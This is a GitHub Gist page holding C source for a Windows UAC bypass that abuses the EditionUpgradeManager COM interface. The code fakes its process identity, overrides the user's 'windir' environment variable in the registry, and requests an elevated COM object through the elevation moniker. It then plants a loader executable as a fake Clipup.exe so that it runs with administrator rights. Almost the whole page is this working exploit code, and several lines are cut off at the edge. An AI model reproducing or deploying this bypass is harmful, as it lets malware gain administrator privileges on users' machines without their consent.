

GitHub Gist

All gists

Back to GitHub

Sign in

Sign up

Instantly share code, notes, and snippets.



hfiref0x / akagi_58a.c

Created 5 years ago

☆ Star 25

🔗 Fork 11

<> Code

🔄 Revisions 1

☆ Stars 25

🔗 Forks 11

Embed ▾

<script s



Download ZIP

UAC bypass using EditionUpgradeManager COM interface

akagi_58a.c

Raw

```
1
2  typedef interface IEditionUpgradeManager IEditionUpgradeManager;
3
4  typedef struct IEditionUpgradeManagerVtbl {
5
6      BEGIN_INTERFACE
7
8      HRESULT(STDMETHODCALLTYPE *QueryInterface)(
9          __RPC__in IEditionUpgradeManager * This,
10         __RPC__in REFIID riid,
11         _COM_Outptr_ void **ppvObject);
12
13         ULONG(STDMETHODCALLTYPE *AddRef)(
14             __RPC__in IEditionUpgradeManager * This);
15
16         ULONG(STDMETHODCALLTYPE *Release)(
17             __RPC__in IEditionUpgradeManager * This);
18
19         //incomplete definition
20         HRESULT(STDMETHODCALLTYPE *InitializeWindow)(
21             __RPC__in IEditionUpgradeManager * This
22         );
23
24         //incomplete definition
25         HRESULT(STDMETHODCALLTYPE *UpdateOperatingSystem)(
26             __RPC__in IEditionUpgradeManager * This
27         );
```

```
28
29 //incomplete definition
30 HRESULT(STDMETHODCALLTYPE *ShowProductKeyUI)(
31     __RPC__in IEditionUpgradeManager * This
32 );
33
34 //incomplete definition
35 HRESULT(STDMETHODCALLTYPE *UpdateOperatingSystemWithParams)(
36     __RPC__in IEditionUpgradeManager * This
37 );
38
39 //incomplete definition
40 HRESULT(STDMETHODCALLTYPE *AcquireModernLicenseForWindows)(
41     __RPC__in IEditionUpgradeManager * This
42 );
43
44 HRESULT(STDMETHODCALLTYPE *AcquireModernLicenseWithPreviousId)(
45     __RPC__in IEditionUpgradeManager * This,
46     __RPC__in LPWSTR PreviousId,
47     __RPC__in DWORD *Data
48 );
49
50 //incomplete, irrelevant
51 END_INTERFACE
52
53 } *PIEditionUpgradeManagerVtbl;
54
55 interface IEditionUpgradeManager
56 {
57     CONST_VTBL struct IEditionUpgradeManagerVtbl *lpVtbl;
58 };
59
60 VOID Method58a_Test()
61 {
62     HKEY hKey = NULL;
63     DWORD cbData;
64     IID IID_IEditionUpgradeManager;
65     HRESULT hr;
66     IEditionUpgradeManager *Manager = NULL;
67     BIND_OPTS3 bop;
68     WCHAR szBuffer[MAX_PATH + 1];
69
70     DWORD Data[4];
71
72     supMasqueradeProcess(FALSE);
```

```
73
74     if (SUCCEEDED(CoInitializeEx(
75         NULL,
76         COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE)))
77     {
78
79         if (IIDFromString(TEXT("{F2DCB80D-0670-44BC-9002-CD18688730AF}"), &IID_IEditionUpgradeManager)
80
81             if (RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("Environment"), 0,
82                 MAXIMUM_ALLOWED, &hKey) == ERROR_SUCCESS)
83             {
84                 RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
85
86                 _strcpy(szBuffer, TEXT("C:\\\\whereverwhatever"));
87                 cbData = (DWORD)((1 + _strlen(szBuffer)) * sizeof(WCHAR));
88                 RegSetValueEx(hKey, TEXT("windir"), 0, REG_SZ, (BYTE*)szBuffer, cbData);
89                 RegFlushKey(hKey);
90
91                 _strcpy(szBuffer, TEXT("Elevation:Administrator!new:{17CCA47D-DAE5-4E4A-AC42-CC54E28F33.
92
93                 RtlSecureZeroMemory(&bop, sizeof(bop));
94                 bop.cbStruct = sizeof(bop);
95                 bop.dwClassContext = CLSCTX_LOCAL_SERVER;
96
97                 hr = CoGetObject(szBuffer, (BIND_OPTS *)&bop, &IID_IEditionUpgradeManager, &Manager);
98
99                 if (SUCCEEDED(hr)) {
100
101                     CreateDirectory(TEXT("C:\\\\whereverwhatever"), NULL);
102                     CreateDirectory(TEXT("C:\\\\whereverwhatever\\system32"), NULL);
103
104                     CopyFile(
105                         TEXT("C:\\test\\loader.exe"),
106                         TEXT("C:\\\\whereverwhatever\\system32\\Clipup.exe"),
107                         FALSE);
108
109                     Data[0] = 2;
110                     Data[1] = 0;
111                     Data[2] = 2;
112                     Data[3] = 0;
113
114                     Manager->lpVtbl->AcquireModernLicenseWithPreviousId(Manager, TEXT("agentdonald"), (
115                     Manager->lpVtbl->Release(Manager);
116                 }
117
```

```
118             RegDeleteValue(hKey, TEXT("windir"));
119             RegCloseKey(hKey);
120         }
121     }
122 }
123 return;
124 }
```

[Sign up for free](#) to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

[Terms](#) [Privacy](#) [Security](#) [Status](#) [Docs](#) [Contact](#) [Manage cookies](#) [Do not share my personal information](#)



© 2024 GitHub, Inc.